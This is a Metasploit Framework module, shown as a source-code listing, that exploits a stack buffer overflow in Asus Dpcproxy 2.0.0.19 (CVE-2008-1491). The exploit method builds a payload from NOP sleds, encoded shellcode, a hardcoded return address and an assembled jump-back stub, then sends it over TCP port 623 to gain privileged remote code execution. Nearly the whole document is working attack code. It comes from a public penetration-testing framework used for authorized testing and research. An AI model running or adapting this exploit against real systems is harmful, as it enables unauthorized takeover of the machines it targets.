Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb
19720 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Asus Dpcproxy Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
18
It should be vulnerable until version 2.0.0.24.
19
Credit to Luigi Auriemma
20
},
21
'Author' => 'Jacopo Cervini',
22
'References' => [
23
[ 'CVE', '2008-1491' ],
24
[ 'OSVDB', '43638' ],
25
[ 'BID', '28394' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'process',
29
},
30
'Payload' => {
31
'Space' => 400,
32
'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
33
},
34
'Platform' => 'win',
35
'Targets' => [
36
[ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r
37
],
38
'Privileged' => true,
39
'DefaultTarget' => 0,
40
'DisclosureDate' => '2008-03-21',
41
'Notes' => {
42
'Reliability' => UNKNOWN_RELIABILITY,
43
'Stability' => UNKNOWN_STABILITY,
44
'SideEffects' => UNKNOWN_SIDE_EFFECTS
45
}
46
)
47
)
48
49
register_options([Opt::RPORT(623)])
50
end
51
52
def exploit
53
connect
54
55
sploit = make_nops(0x38a - payload.encoded.length) + payload.encoded + rand_text_english(6032)
56
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
57
sploit << [target.ret].pack('V') + make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string # jmp back
58
sploit << make_nops(50)
59
60
print_status("Trying target #{target.name}...")
61
sock.put(sploit)
62
select(nil, nil, nil, 3) # =(
63
64
handler
65
disconnect
66
end
67
end
68
69